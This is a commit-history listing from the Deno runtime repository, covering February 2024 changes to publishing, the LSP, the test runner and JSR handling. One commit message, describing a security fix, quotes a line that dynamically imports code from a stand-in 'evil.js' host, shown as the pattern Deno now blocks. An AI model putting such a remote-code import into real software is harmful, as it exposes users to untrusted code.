Commit graph

5894 commits

Author SHA1 Message Date
Bartek Iwańczuk 211b3ff244
fix(publish): print a warning when .jsx or .tsx is imported (#22631)
This commit adds a warning when .jsx or .tsx is encountered during
publishing.

This is a stop-gap solution before we fix it proper.
2024-02-29 12:54:57 +01:00
Nayeem Rahman 3a43568481
feat(lsp): jsr specifier completions (#22612) 2024-02-29 03:54:16 +00:00
David Sherret 814eb42060
fix: relative dynamic imports in jsr packages (#22624)
Relative dynamic imports were broken. It now properly allows them and
verifies the checksum.

Fix in https://github.com/denoland/deno_graph/pull/408
2024-02-29 00:06:16 +01:00
Matt Mastracci b6e44f91ad
fix(cli): ensure that pre- and post-test output is flushed at the appropriate times (#22611)
Some `deno_std` tests were failing to print output that was resolved
after the last test finished. In addition, output printed before tests
began would sometimes appear above the "running X tests ..." line, and
sometimes below it depending on timing.

We now guarantee that all output is flushed before and after tests run,
making the output consistent.

Pre-test and post-test output are captured in `------ pre-test output
------` and `------ post-test output ------` blocks to differentiate
them from the regular output blocks.

Here's an example of a test (that is much noisier than normal, but an
example of what the output will look like):

```
Check ./load_unload.ts
------- pre-test output -------
load
----- output end -----
running 1 test from ./load_unload.ts
test ...
------- output -------
test
----- output end -----
test ... ok ([WILDCARD])
------- post-test output -------
unload
----- output end -----
```
2024-02-28 22:12:21 +00:00
Bartek Iwańczuk c9b2139b1e
Revert "fix(publish): error if there are uncommitted changes (#22613)" (#22625)
This reverts commit c2c4e745a5.
2024-02-28 21:35:02 +00:00
David Sherret 918c5e648f
fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic import from JSR (#22623)
A security feature of JSR is that it is self contained other than npm
dependencies. At publish time, the registry rejects packages that write
code like this:

```ts
const data = await import("https://example.com/evil.js");
```

However, this can be trivially bypassed by writing code that the
registry cannot statically analyze for. This PR prevents Deno from
loading dynamic imports that do this.
2024-02-28 16:30:45 -05:00
Ryan Dahl f54acb53ed
fix(publish): make the already published message look like a warning (#22620) 2024-02-28 21:30:20 +01:00
Matt Mastracci a3f982c1d5
chore(cli): rename --trace-ops to --trace-leaks (#22598)
As we add tracing to more types of runtime activity, `--trace-ops` is
less useful of a name. `--trace-leaks` better reflects that this feature
traces both ops and timers, and will eventually trace resource opening
as well.

This keeps `--trace-ops` as an alias for `--trace-leaks`, but prints a
warning to the console suggesting migration to `--trace-leaks`.

One test continues to use `--trace-ops` to test the deprecation warning.

---------

Signed-off-by: Matt Mastracci <matthew@mastracci.com>
2024-02-28 09:12:43 -07:00
Bartek Iwańczuk c2c4e745a5
fix(publish): error if there are uncommitted changes (#22613)
Closes https://github.com/denoland/deno/issues/22330
2024-02-28 10:21:12 +01:00
Matt Mastracci 96cfe82664
perf(cli): reduce overhead in test registration (#22552)
- Removes the origin call, since all origins are the same for an isolate
(ie: the main module)
- Collects the `TestDescription`s and sends them all at the same time
inside of an Arc, allowing us to (later on) re-use these instead of
cloning.

Needs a follow-up pass to remove all the cloning, but that's a thread
that is pretty long to pull

---------

Signed-off-by: Matt Mastracci <matthew@mastracci.com>
2024-02-27 20:30:17 -07:00
Divy Srivastava 9b5d2f8c1b
feat(publish): provenance attestation (#22573)
Supply chain security for JSR.

```
$ deno publish --provenance

Successfully published @divy/test_provenance@0.0.3
Provenance transparency log available at https://search.sigstore.dev/?logIndex=73657418
```

0. Package has been published.
1. Fetches the version manifest and verifies it's matching with uploaded
files and exports.
2. Builds the attestation SLSA payload using Github actions env.
3. Creates an ephemeral key pair for signing the github token
(aud=sigstore) and DSSE pre authentication tag.
4. Requests a X.509 signing certificate from Fulcio using the challenge
and ephemeral public key PEM.
5. Prepares a DSSE envelop for Rekor to witness. Posts an intoto entry
to Rekor and gets back the transparency log index.
6. Builds the provenance bundle and posts it to JSR.
2024-02-28 07:58:02 +05:30
David Sherret e9fe71acb5
fix(unstable): sloppy imports should resolve .d.ts files during types resolution (#22602) 2024-02-27 18:30:21 +00:00
Luca Casonato 8d5c231349
feat(publish): support sloppy imports and bare node built-ins (#22588) 2024-02-27 15:13:16 +00:00
Matt Mastracci 47c2a63d87
chore: bump deno_core (#22596)
Migrations:

 - snapshot code updated
 - runtime stats API tweaks
2024-02-27 08:05:57 -07:00
Bartek Iwańczuk f1a691274e
feat(publish): discover jsr.json and jsr.jsonc files (#22587)
Closes https://github.com/denoland/deno/issues/22491
2024-02-27 08:27:21 +00:00
David Sherret 6567dc94a9
fix(lsp): import map expansion (#22553) 2024-02-24 00:21:09 -05:00
David Sherret 33fa49a100
chore: improve not implemented npm system info message (#22571) 2024-02-23 16:34:24 -05:00
David Sherret 22cd8ebf1f
perf(fmt): reduce memory usage and improve performance (#22570)
Reduces memory usage of the fmt command and fixes a memory leak.

Also improves slightly improves performance.
2024-02-23 16:11:45 -05:00
tuhana bcf2156dbf
fix(compile): add aarch64 linux to CliOptions::npm_system_info (#22567)
Follow-up for #22542.
2024-02-23 19:18:39 +01:00
Matt Mastracci 5193834cf2
refactor(cli): clean up test runner channels (#22422)
Gets us closer to solving #20707.

Rewrites the `TestEventSender`:

- Allow for explicit creation of multiple streams. This will allow for
one-std{out,err}-per-worker
- All test events are received along with a worker ID, allowing for
eventual, proper parallel threading of test events.
 
In theory this should open up proper interleaving of test output,
however that is left for a future PR.

I had some plans for a better performing synchronization primitive, but
the inter-thread communication is tricky. This does, however, speed up
the processing of large numbers of tests 15-25% (possibly even more on
100,000+).

Before

```
ok | 1000 passed | 0 failed (32ms)
ok | 10000 passed | 0 failed (276ms)
```

After

```
ok | 1000 passed | 0 failed (25ms)
ok | 10000 passed | 0 failed (230ms)
```
2024-02-23 11:11:15 -07:00
Bartek Iwańczuk 619acce305
fix(compile): allow to compile for ARM linux (#22542)
Closes https://github.com/denoland/deno/issues/22527
2024-02-23 18:08:17 +00:00
Satya Rohith 47dee65e4a
fix(ext/node): set correct process.argv0 (#22555) 2024-02-23 17:30:29 +01:00
Marvin Hagemeister cddefecfff
feat: infer dependencies from package.json (#22563)
<!--
Before submitting a PR, please read
https://docs.deno.com/runtime/manual/references/contributing

1. Give the PR a descriptive title.

  Examples of good title:
    - fix(std/http): Fix race condition in server
    - docs(console): Update docstrings
    - feat(doc): Handle nested reexports

  Examples of bad title:
    - fix #7123
    - update docs
    - fix bugs

2. Ensure there is a related issue and it is referenced in the PR text.
3. Ensure there are tests that cover the changes.
4. Ensure `cargo test` passes.
5. Ensure `./tools/format.js` passes without changing files.
6. Ensure `./tools/lint.js` passes.
7. Open as a draft PR if your work is still in progress. The CI won't
run
   all steps, but you can add '[ci]' to a commit message to force it to.
8. If you would like to run the benchmarks on the CI, add the 'ci-bench'
label.
-->
This PR enhances the `deno publish` command to infer dependencies from
`package.json` if present.
2024-02-23 15:56:49 +01:00
Asher Gomez 55fa61abc6
chore(cli): swap CreateHttpClientOptions.{cert,key} descriptions (#22543)
Fixes https://github.com/denoland/deno/pull/22280#discussion_r1499615986
2024-02-23 07:52:23 -07:00
Divy Srivastava f49abcc1ac
feat(publish): respect .gitignore during deno publish (#22514)
Files from `.gitignore`, global git config, `.git/info/exclude` and
`deno.json`'s `exclude` are ignored.
2024-02-23 07:56:34 +05:30
denobot 118445103b
1.41.0 (#22524)
Bumped versions for 1.41.0

Co-authored-by: bartlomieju <bartlomieju@users.noreply.github.com>
Co-authored-by: Bartek Iwańczuk <biwanczuk@gmail.com>
2024-02-22 02:44:05 +01:00
Bartek Iwańczuk 197d2480bb
fix(compile): respect compiler options for emit (#22521)
`deno compile` was ignoring configuration file and thus not applying
`compilerOptions` to influence the way files were emitted.
2024-02-21 23:03:11 +00:00
David Sherret 190776f30d
perf: linter lsp memory leak fix and deno_graph executor (#22519)
Updates dependent crates which includes an investigation fix by @irbull
in Deno's LSP when linting code. Huge thanks to Ian for tracking down
this issue.

Also includes Divy's deno_graph executor change, which reduces memory
usage when loading jsr specifiers and makes them faster.

Co-authored-by: irbull <irbull@users.noreply.github.com>
Co-authored-by: littledivy <littledivy@users.noreply.github.com>
2024-02-21 21:58:37 +00:00
Matt Mastracci 76ebf567e2
fix(ext/fs): make errors in tempfile creation clearer (#22498)
When using a prefix or suffix containing an invalid filename character,
it's not entirely clear where the errors come from. We make these errors
more consistent across platforms.

In addition, all permission prompts for tempfile and tempdir were
printing the same API name.

We also take the opportunity to make the tempfile random space larger by
2x (using a base32-encoded u64 rather than a hex-encoded u32).
2024-02-21 20:11:04 +00:00
David Sherret a2c1cc5a1a
fix(publish): better no-slow-types type discovery (#22517) 2024-02-21 14:12:36 -05:00
Bartek Iwańczuk 5020705011
chore: bump deno_lint to 0.57.0 (#22513) 2024-02-21 10:43:49 -05:00
David Sherret 9166d8a4e9
feat(publish): type check on publish (#22506)
Supersedes #22501 and also fixes that issue.
2024-02-21 08:35:25 -05:00
Nayeem Rahman e32c704970
feat(lsp): auto-import completions for jsr specifiers (#22462) 2024-02-21 02:45:00 +00:00
David Sherret f90889e5ee
perf(jsr): fast check cache and lazy fast check graph (#22485) 2024-02-20 21:29:57 +00:00
Luca Casonato 4201f17936
fix(lsp): add schema for JSR related config options (#22497) 2024-02-20 13:49:24 +00:00
Luca Casonato 54a3eb585d
fix(publish): print files that will be published (#22495) 2024-02-20 13:30:34 +01:00
Asher Gomez 123653a01a
chore: add missing @category tags to runtime APIs (#22486) 2024-02-20 03:49:33 +01:00
Luca Casonato ef43d51497
fix(publish): ignore .DS_Store while publishing (#22478) 2024-02-19 10:48:35 -05:00
David Sherret 66424032a2
feat(unstable/lint): no-slow-types for JSR packages (#22430)
1. Renames zap/fast-check to instead be a `no-slow-types` lint rule.
1. This lint rule is automatically run when doing `deno lint` for
packages (deno.json files with a name, version, and exports field)
1. This lint rules still occurs on publish. It can be skipped by running
with `--no-slow-types`
2024-02-19 15:28:41 +00:00
Asher Gomez 2b279ad630
chore: move test_util to tests/util/server (#22444)
As discussed with @mmastrac.

---------

Signed-off-by: Asher Gomez <ashersaupingomez@gmail.com>
Co-authored-by: Matt Mastracci <matthew@mastracci.com>
2024-02-19 06:34:24 -07:00
Asher Gomez eb542bc185
chore(fs): rename op_fs_file_stat_{async/sync} ops (#22476)
Renames `op_fs_fstat_{sync/async}` to `op_fs_file_stat_{async/sync}` in
preparation of the upcoming removal of `Deno.fstat()` in v2.
2024-02-19 06:33:42 -07:00
Luca Casonato 15c64365a2
fix: write lockfile in deno info (#22272) 2024-02-19 13:02:40 +01:00
Asher Gomez c1fac11dfa
feat(fs): Deno.FsFile.{isTerminal,setRaw}() (#22234)
Closes #22229.

---------

Signed-off-by: Asher Gomez <ashersaupingomez@gmail.com>
2024-02-18 07:27:44 -07:00
Asher Gomez 7abd72a80f
BREAKING(unstable): remove Deno.HttpClient.rid (#22075)
As part of ongoing works to make `rid` private.

---------

Co-authored-by: Matt Mastracci <matthew@mastracci.com>
2024-02-18 07:27:06 -07:00
Asher Gomez 3a243c8272
BREAKING: add Deno.CreateHttpClientOptions.{cert,key} (#22280)
This change deprecates
`Deno.CreateHttpClientOptions.{certChain,privateKey}` in favour of
`Deno.CreateHttpClientOptions.{cert,key}`.

Closes #22278

Co-authored-by: Matt Mastracci <matthew@mastracci.com>
2024-02-18 07:26:16 -07:00
Matt Mastracci 08071f9561
chore: bump deno_core (#22443)
Migrations:

 - Use the new SnapshotSerializer for TSC/compiler snapshots
2024-02-17 22:22:46 +00:00
David Sherret 828d9b8485
refactor: remove module graph setup from ModuleLoader (#22442)
`ModuleLoader` was doing too much duplicate work.
2024-02-16 22:10:06 +00:00
Matt Mastracci 67a4231bb6
refactor(cli): move op sanitizer to Rust (#22413)
The format of the sanitizers will change a little bit:

- If multiple async ops leak and traces are on, we repeat the async op
header once per stack trace.
- All leaks are aggregated under a "Leaks detected:" banner as the new
timers are eventually going to be added, and these are neither ops nor
resources.
 - `1 async op` is now `An async op`
- If ops and resources leak, we show both (rather than op leaks masking
resources)

Follow-on to https://github.com/denoland/deno/pull/22226
2024-02-16 21:22:12 +00:00
Matt Mastracci f705906256
chore(ext/web): refactor timer ops before landing op sanitizer (#22435)
Splitting the sleep and interval ops allows us to detect an interval
timer. We also remove the use of the `op_async_void_deferred` call.

A future PR will be able to split the op sanitizer messages for timers
and intervals.
2024-02-16 15:35:51 +00:00
David Sherret e06934fe77
fix(fmt): remove debug output when formatting dynamic imports (#22433)
deno fmt sometimes had stuff like:

```
NODE: Evaluation
```

...in the output.
2024-02-16 14:19:24 +00:00